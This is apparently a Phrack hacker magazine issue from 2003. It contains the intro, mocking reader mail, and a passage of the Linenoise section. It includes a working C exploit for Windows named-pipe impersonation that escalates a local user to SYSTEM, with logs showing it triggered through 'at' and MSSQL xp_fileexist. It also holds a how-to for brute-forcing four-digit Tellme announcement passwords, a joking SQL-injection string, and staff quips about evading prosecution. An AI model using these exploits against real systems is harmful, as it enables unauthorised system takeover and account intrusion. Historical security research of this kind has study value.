| / |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| / | Morpheus: Do you believe in fate, Neo? | \ |

| / | Neo: No.

| / | Morpheus: Why not?

| / | Neo: Because I don't like the idea that I'm not in control of | \ |

| / | my life.

|___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___|

(_____)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^

Shoutz: justin, nar, muskrat, optimist, _dose and Hassanine Adghirni.

Enjoy the magazine!

Phrack Magazine Vol 11 Number 61, Build 6, Aug 13, 2003. ISSN 1068‑1035 Contents Copyright (c) 2003 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors.

Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : phrackstaff@phrack.org

Submissions : phrackstaff@phrack.org

Commentary : loopback@phrack.org

Phrack World News : pwn@phrack.org

Note: You must put the word 'ANTISPAM' somewhere in the Subject‑line of your email. All others will meet their master in /dev/null. We reply to every email. Lame emails make it into loopback.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

(Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.2.1 (GNU/Linux)

mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4 FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K 5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0 YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv 5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj 5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP 45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh nntgUSbqNtS5lUo=

=FnHK

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Loopback

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x02 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The good stuff.

[1] http://segfault.net/~bbp/BSD‑heap‑smashing.txt

The funny stuff (defaced openbsd poster).

[1] http://stargliders.org/phrack/mmhs.jpg

Russian interview:

[1] http://www.bugtraq.ru/library/underground/phrack.html

GPS Jammer hypes

[1] http://computerworld.com/industrytopics/defense/story/0,10801,77702,00.html

[2] http://computerworld.com/governmenttopics/government/story/0,10801,79783,00.html

[3] http://computerworld.com/securitytopics/security/story/0,10801,77702,00.html

[4] http://www.phrack.org/dump/phrack_gps_jammer.png

www.madonna.com hacked, phrack is innocent.

[1] http://www.thesmokinggun.com/archive/madonnasplash1.html

[2] http://www.cnn.com/2003/TECH/internet/04/28/hackers.madonna.reut/index.html

Quote of the day (as seen on irc):

"Give me an eMail and I'll move the world."

We receive a lot of stupid emails as par for the course in each round of phrack. However, we have some real gems for you this time. Ok, let's see with what lameness the audience came up with.

Enjoy Loopback :>

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: echo_zero@mail.com

yo... wassup ppl?

lengedary group! the great masters r all here... Congratulations for all u have done for hacking community. i wish to be like u some day. long live the hackers!

STAY COOL

BE HAPPY

[ y0, da great masta speaking. Thnx bro! Enj0y #61. Keep it r3al! ]

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: '; OR ‑‑%20

[ note his elite technique ]

Hi, this is me checking if i can inject SQL commands into thy webservor. Article's awesome.

[ did it work? ]

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "scott johnstone" <bollocks777@hotmail.com>

Subject: Beer Generator ANTISPAM

Greets.

It occurs to me that an interesting way to generate some operating capital for Phrack would be to sell to spammers the e‑mail addresses of all the silly newblets that ask for basic hacking tutorials and shit like that.

Granted it wouldn't be financing any phrackmobiles with rocket boosters but it might pay for a 6‑pack for the guy who handles the loopback ;)

[ done. now hurry up and order some of that penis enlargement cream ‑we get 20% ]

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: <zyx@illrepute.org>

Subject: your PGP key

What the hell is the point of posting a PGP key that has only this many signatures?

$ gpg ‑‑list‑sigs phrackstaff

pub 1024D/3EEEDCE1 2001‑05‑05 phrackstaff <phrackstaff@phrack.org> sig EF881DEC 2001‑03‑03 Binary Fus10n <binaryfus10n@hotmail.com> sig D7C776BF 2001‑03‑03 [User id not found]

sig 75E90D2C 2001‑12‑29 Calle Lidstrom <calle@swip.net> sig 3 3EEEDCE1 2001‑05‑05 phrackstaff <phrackstaff@phrack.org> sub 2048g/1B6B493C 2001‑05‑05 [expires: 2031‑04‑28]

sig 3EEEDCE1 2001‑05‑05 phrackstaff <phrackstaff@phrack.org>

[ Conclusion: Not our key.

Cause: Someone tricked you.

Solution: Get our latest key from the latest phrack release. Remember: Stop writing us. You suck. ]

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: serased@yahoo.com

y'all suck

you guysa are illegal and you know it

can't wait till the government bust your ass

[ we might be illegal, but we can frame you for it ]

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Furys_Child@hotmail.com

Subject: Phrack Loopback

Hello anyone,

I am sending out this message to ask for help. I want to learn the basics of hacking any way I can.

[ Today's lesson: "How to get subscibed to a paedophile mailing list" Step 1. Ask phrackstaff to teach you how to hack Step 2. Wait ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: changiz_a@yahoo.com

Subject: Hide phone number

I want to others can not see my phone number (home phone and cell phone) how can I do this ?

[ by not using the phone. ]

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Glenn Wekony <ayce57@yahoo.com>

Subject: Re: Message from Glenn Wekony ANTISPAM

[ ... a bunch of lame questiones about wifi hacking here ... ]

[ .. ] I am delibrately using my real name and am not a police officer or a federal agent. I tell you this in the hope you will answer my e‑mail and not sound suspicious. If you do not return my e‑mail, I understand.

Thanx, Glenn.

[ No doubt you are not a fed. The feds stopped bugging us about wifi hacking techniques when they figured out how to use google. ]

|=[ 0x09 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Max Gastone <banangling@yahoo.com>

> Would Phrack be interested in an article on how

> current radical environmental & animal rights groups

> are using the internet and email systems against

> target companies, in particular taking on large

> company's email systems and giving them a hammering

> using novel protests techniques akin to DDoS (but not

> quite that)? Would include info on several software

> tools developed solely for this purpose.

[ "When I was a child,

I talked like a child,

I thought like a child,

I reasoned like a child.

When I became a man,

I put childish ways behind me."

(the holy bible, Paul, in his first letter to the Cor. 13:11). ]

|=[ 0x0a ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I need to be a haX0r says my mUm. bcuse I jerk off too much and I need somthing better to do wiht the 2 hours my mom lets me have to use the FaMily winbook. My Unckle billlyfish (his fucking hacksor name) told me that if I brake N2 nasa and steal the new rockit blueprints then give them to you so we/you or us/me can get together all of the 0day hackers (im not gay...just curious) and fly off to amsterdam where Heroin is legal that you will give me a hard copy set of Phrack issues 1‑50. Piss on them who dont like shit. lol. hahaha lamers suck. I am only 27 but I should be sneaking out of my moms basement soon...like tonight to go to an internet cafe to masturbate because my 2 hours of Pleasureful winbook time are almost over. If you can muster up the fucking strengh tell me how to brake into nasa so i can claim me prize mate I would be as gracious as a dog with peanut butter Spo0ned up his asS.

[ Actually you sounded quite smart until the last 2 sentences ]

PS If you make funny out of me then I promise I wont send the rocketshit planz to you and I will keep them for myself and take all of the hardcopys out of the back of that mini‑gurlish SUV when i gets to holland. Dig. By the way, after we work out a deal, you can send me my hard copy set through my paypal account. (I have the biggest eshop on geocities...)

[ Fortunately, it's over, you started to become boring ]

|=[ 0x0b ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: unit321 <bigshot@almerger.com>

if i put a disclaimer on my phrack submission, will anyone be able to prosecute me? in the USA?

[ Depends on which country you live in. Some countries tend to change the law whenever a new president is in charge. A disclaimer seldomly helps. Known technniques like leaving the country or using an anonymous email account do help. ]

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

Are you being harrased by government or law enforcement?

[ Of course we are! ]

|=[ 0x0c ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: d.r.hedley

Subject: question

I was wanting to look at your anarchy cookbook iv,ver 4.14. but when i go to it. it says to

" <‑‑‑‑‑‑‑‑ set your browser to this width minimal ‑‑‑‑‑‑‑>".

it say's that if you set your browser to the width proposed, then you'll have no problem viewing the cookbook.

Question: how do you set your browser to the arrows that you have too ‑ to be able to view the anarchist cookbook iv, ver 4.14

[ It's a secret cipher. Put your monitor upside down. There are some wheels or some buttons at the bottom of you monitor. Use them to adjust the horizontal width. Enlighted? ]

|=[ 0x0d ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hiya guys, Bread here.

[ HIYA! staff‑grunt here. ]

Just thought I'd try and submit an article. If I am

successful, many more articles will be one there way. Its' an article on the Ping Command which I wrote about a month ago.

Anyway, I hope you enjoy it and are able to actually publish it. Thanks for your time,

Bread

[ Can't wait to read the other articles. Please go ahead an email them to us. All the serious articles have to be send to loopback@phrack.org from now on.

To the content: Be warned, once you discover the ‑f flag you are close to discover winnuke, bo2k, ....

We compressed your article to 1 line and will publish it right here: $ ping ‑h

Regards,

Phrack Staff ]

|=[ 0x0e ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Ludootje"

[ Luser saying that we should publish an article he already published elsewhere, citing as a precedent "The Hackers Manifesto". ]

" [..] but I suppose "The Hackers Manifesto" wasn't first posted on phrack..."

[ It was. 1986. http://www.phrack.org/phrack/7/P07‑03. ]

|=[ 0x0f ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

... to actually make use of the Phrack article:

"Below is the schematic diagram (gps_jammer.ps) in an uuencoded gzipped PostScript file. This is the native Xcircuit[12] format and is used for ease of viewing, printing and modification."

How many FBI agents weaned on Windows will it take to get past the first hurdle: uuencoded?

[ So many that after 8 month we decided to help them out: http://www.phrack.org/dump/phrack_gps_jammer.png

Or for the advanced agent:

$ uudecode p60‑0x0d.txt && gunzip ‑d gps_jammer.ps.gz && \ gv gps_jammer.ps

]

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Linenoise

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L I N E N O I S E ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Everything that does not fit somewhere else can be found here. Corrections and additions to previous articles, to short articles or articles that just dont make it....everything.

Contents

1 ‑ Windows named pipes exploitation by DigitalScream 2 ‑ How to hack into TellMe by Archangel

3 ‑ Shitboxing by Agent5

4 ‑ PalmMap v1.6 ‑ Nmap for Palm by Shaun Colley 5 ‑ Writing Linux/mc68xxx shellcode by madcr 6 ‑ Finding hidden kernel modules (the extrem way) by madsys 7 ‑ Good old floppy bombs by Phrick

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 1 ‑ Windows named pipes exploitation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by DigitalScream <digitalsream at real.xakep.ru> / SecurityLevel5

All latest versions of Microsoft Windows family operation systems are based on Windows NT kernel. This fact has positive impact for both remote and local security of Windows world. There are still some thin places though allowing obtaining Local System privileges on the local computer leading to the full system compromise. Usually this is because different buffer overruns in stack or heap in system services, like in case of any operation system. However we should not forget about system specific bugs because of abnormal behavior of system functions. This kind of bugs is very system dependant and from time to time is discovered in different OS. Of cause, Windows is not exception.

Specific bugs are usually having impact on local users. Of cause, this is not a kind of axiom, but local user has access to larger amount of the system API functions comparing with remote one. So, we are talking about possibility for local user to escalate his privileges. By privilege escalation we mean obtaining privileges of Local System to have no limitations at all. Now there are few ways to get it, I will talk about new one.

According to MSDN to launch application with different account one must use LogonUser() and CreateProcessAsUser() functions. LogonUser() requires username and password for account we need. 'LogonUser()' task is to set SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME privileges for access token. This privileges are required for CreateProcessAsUser(). Only system processes have these privileges. Actually 'Administrator' account have no enough right for CreateProcessAsUser(). So, to execute some application, e.g. 'cmd.exe' with LocalSystem account we must have it already. Since we do not have username and password of privileged user we need another solution.

In this paper we will obtain 'LocalSystem' privileges with file access API. To open file Windows application call CreateFile() function, defined below:

HANDLE CreateFile(

LPCTSTR lpFileName,

DWORD dwDesiredAccess,

DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition,

DWORD dwFlagsAndAttributes, HANDLE hTemplateFile

);

To open file we must call something like

HANDLE hFile;

hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

For advanced Windows programmer it's clear that this function has more application rather than only opening ordinary files. It's used to openor create new files, directories, physical drives, and different resources for interprocess communication, such as pipes and mailslots. We will be concerned with pipes.

Pipes are used for one‑way data exchange between parent and child or between two child processes. All read/write operations are close to thesame file operations.

Named Pipes are used for two‑way data exchange between client and server or between two client processes. Like pipes they are like files, but can be used to exchange data on the network.

Named pipe creation example shown below:

HANDLE hPipe = 0;

hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Named pipe's name can vary, but it always has predefined format. The example of valid name is '\\.\pipe\GetSys'. For Windows, '\\.\' sequence always precedes filename, e.g. if "C:\boot.ini" is requested system actually accesses '\\.\C:\boot.ini'. This format is compatible with UNC standard.

With basic knowledge of named pipes operations we can suppose there can be a way to full application to access named pipe instead of user supplied file. For example, if we created named pipe "\\.\pipe\GetSys" we can try to force application to access "\\ComputerName\pipe\GetSys". It gives us a chance to manipulate with access token.

Impersonation token is access token with client's privileges. That is, this is possibility for server to do something on client's behalf. In our case server is named pipe we created. And it becomes possible because we are granted SecurityImpersonation privilege for client. More precisely, we can get this privilege. If client application has privileges of local system we can get access to registry, process and memory management and another possibilities not available to ordinary user.

This attack can be easily realized in practice. Attack scenario for this vulnerability is next:

1. Create name pipe

Wait client connect after named pipe is created.

2. Impersonate client

Because we assume client application has system rights we will have them too.

3. Obtain required rights. In fact, we need only

‑ SE_ASSIGNPRIMARYTOKEN_NAME

‑ SE_INCREASE_QUOTA_NAME

‑ TOKEN_ALL_ACCESS

‑ TOKEN_DUBLICATE

This is all we need for CreateProcessAsUser() function. To obtain rights we need new token with TOKEN_ALL_ACCESS privelege. And we can do it, because we have privileges of client process.

Execute code of our choice

It could be registry access, setting some hooks or random commands with system privileges. Last one is most interesting, because we can execute standalone application of our choice for our specific needs.

As it was said before, now I can execute CreateProcessAsUser() with system privileges. I back to beginning, but this time I have all required privileges and 'LocalSystem' is under my thumb.

There is no problem to realize this approach. As an example, we will use working exploit by wirepair at sh0dan.org based on the code of maceo at dogmile.com.

#include <stdio.h>

#include <windows.h>

int main(int argc, char **argv)

{

char szPipe[64];

DWORD dwNumber = 0;

DWORD dwType = REG_DWORD;

DWORD dwSize = sizeof(DWORD);

DWORD dw = GetLastError();

HANDLE hToken, hToken2;

PGENERIC_MAPPING pGeneric;

SECURITY_ATTRIBUTES sa;

DWORD dwAccessDesired;

PACL pACL = NULL;

PSECURITY_DESCRIPTOR pSD = NULL;

STARTUPINFO si;

PROCESS_INFORMATION pi;

if (argc != 2) {

fprintf(stderr, "Usage: %s <progname>\n", argv[0]); return 1;

}

memset(&si,0,sizeof(si));

sprintf(szPipe, "\\\\.\\pipe\\GetSys");

// create named pipe"\\.\pipe\GetSys"

HANDLE hPipe = 0;

hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) {

printf ("Failed to create named pipe:\n %s\n", szPipe); return 2;

}

printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");

// initialize security descriptor to obtain client application

// privileges

pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH); InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = pSD;

sa.bInheritHandle = FALSE;

printf("Waiting for connection...\n");

// wait for client connect

ConnectNamedPipe (hPipe, NULL);

printf("Impersonate...\n");

// impersonate client

if (!ImpersonateNamedPipeClient (hPipe)) {

printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe);

return 3;

}

printf("Open Thread Token...\n");

// obtain maximum rights with TOKEN_ALL_ACCESS

if (!OpenThreadToken(GetCurrentThread(),

TOKEN_ALL_ACCESS, TRUE, &hToken )) {

if (hToken != INVALID_HANDLE_VALUE) { printf("GetLastError: %u\n", dw); CloseHandle(hToken); return 4;

}

}

printf("Duplicating Token...\n");

// obtain TOKEN_DUBLICATE privilege

if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,

&sa,SecurityImpersonation, TokenPrimary, &hToken2) == 0) {

printf("error in duplicate token\n"); printf("GetLastError: %u\n", dw);

return 5;

}

// fill pGeneric structure

pGeneric = new GENERIC_MAPPING; pGeneric‑>GenericRead=FILE_GENERIC_READ; pGeneric‑>GenericWrite=FILE_GENERIC_WRITE; pGeneric‑>GenericExecute=FILE_GENERIC_EXECUTE; pGeneric‑>GenericAll=FILE_ALL_ACCESS;

MapGenericMask( &dwAccessDesired, pGeneric );

dwSize = 256;

char szUser[256];

GetUserName(szUser, &dwSize);

printf ("Impersonating: %s\n", szUser);

ZeroMemory( &si, sizeof(STARTUPINFO));

si.cb = sizeof(si);

si.lpDesktop = NULL;

si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW;

printf("Creating New Process %s\n", argv[1]);

// create new process as user

if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa, &sa,true, NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) { printf("GetLastError: %d\n", GetLastError());

}

// wait process to complete and exit

WaitForSingleObject(pi.hProcess,INFINITE); CloseHandle(hPipe);

return 0;

}

This vulnerability gives a chance for us to obtain system privileges on local computer. The only condition is system process must access this channel. This condition is easy to reproduce with system services. For example:

[shell 1]

>pipe cmd.exe

Created Named Pipe: \\.\pipe\GetSys

Waiting for connection...

[shell 2]

>time /T

18:15

>at 18:16 /interactive \\ComputerName\pipe\GetSys

New task added with code 1

[shell 1]

Impersonate...

Open Thread Token...

Duplicating Token...

Impersonating: SYSTEM

Creating New Process cmd.exe

Now we have new instance of cmd.exe with system privileges. It means user can easily obtain privileges of local system. Of cause reproduce this situation is easy only in case, there is a service, which can access files on user request. Because 'at' command requires at least power user privileges and may be used to launch cmd.exe directly, without any named pipe this example is useless.

In practice, this vulnerability may be exploited for privilege escalation by the local user if Microsoft SQL Server is installed. SQL server runs with system privileges and may be accessed with unprivileged user. @Stake reported vulnerability in xp_fileexist command. This command checks for file existence and we can use it to access our named pipe. Attack scenario is nearly same:

[shell 1]

>pipe cmd.exe

Created Named Pipe: \\.\pipe\GetSys

Waiting for connection...

[shell 2]

C:\>isql ‑U user

Password:

1> xp_fileexist '\\ComputerName\pipe\GetSys'

2> go

File Exists File is a Directory Parent Directory Exists

‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑

1 0 1

[shell 1]

Impersonate...

Open Thread Token...

Duplicating Token...

Impersonating: SYSTEM

Creating New Process cmd.exe

At the end, it's good to point that this vulnerability exists in Windows NT/2000/XP and is patched with Windows 2000 SP4 and on Windows 2003.

A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be possible.

[1] Overview of the "Impersonate a Client After Authentication" http://support.microsoft.com/default.aspx?scid=kb;[LN];821546

[2] Exploit by maceo http://www.securityfocus.com/archive/1/74523

[3] Exploit by wirepair http://www.securityfocus.com/archive/1/329197

[4] Named Pipe Filename Local Privilege Escalation www.atstake.com/research/advisories/2003/a070803‑1.txt

[5] Service Pack 4 for Windows 2000 http://download.microsoft.com/download/b/1/a/

b1a2a4df‑cc8e‑454b‑ad9f‑378143d77aeb/SP4express_EN.exe

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 2 ‑ How to hack into Tellme ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

How to get into the Tell‑Me network.

(1‑800‑555‑tell)

This is a representation of someone's thoughts. Thoughts cannot be owned by another person. Use this thought as you see fit, it is yours to duplicate or use as you please.

By Archangel (Formerly of the P.H.I.R.M.)

Archangel Systems

http://the.feds.are.lookingat.us

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What is the Tell‑Me system?

===========================

TellMe is a high‑tech voice activated phone site with internet connectivity, and even a voice activated browser. It is the ultimate goal of TellMe to have the whole of the internet voice activated. The system is quite sophisticated by today's standards, though I'm sure that tomorrow's readers will find the efforts to be quite primative to say the least. A free phone call gives the listener access to news, sports, weather, etc. Even movie listings. Other areas provide for private announcements, or even voice activated web‑sites. In other words, it is now possible, through TellMe, to dial a phone number, and listen to a website.

Tell me is a subsidiary of CNET, a giant (at the time of this writing) on the internet.

What security flaws were exploited?

===================================

Well, I guess it's nut‑cutting time. TellMe has a VERY SERIOUS security flaw which can allow unauthorized access to the system within a matter of hours. As I tried to hack into my own account, I realized that TellMenu announcements only have a 4 digit numeric password.

Here's what you do:

‑ You dial 1‑800‑555‑tell.

‑ You will get an automated banner‑ad followed by a menu discribing various TellMe features.

‑ You must say the word "Announcements", or dial "198" on the keypad. This will take you to the announcements area.

‑ Once in the announcements area, you will need to punch in the announcement number, which is a seven digit number assigned to you by the TellMe computer.

‑ Type in any announcement number you wish (I tried with my own one first, as this was an experiment to see if I could hack in and change my own announcement).

The computer says "Ok, here is your announcement."

Then I heard a recording of The Baron Telling what a whimp I am. ‑ This was followed by the computer saying:

Please type in another announcement number, or say "Main Menu" to continue. If you are the announcement manager, please use you telephone keypad to enter your password to edit the announcement. If you remain silent, the computer will say: "Please enter your 4 digit password."

FOUR DIGITS?????

Were they serious?

Now here's the kicker:

TELLME WON'T DISCONNECT YOU IF YOU FAIL 3 TIMES IN A ROW!!! Yes, ladies and gentlement, keep trying to your heart's content. No penalties.

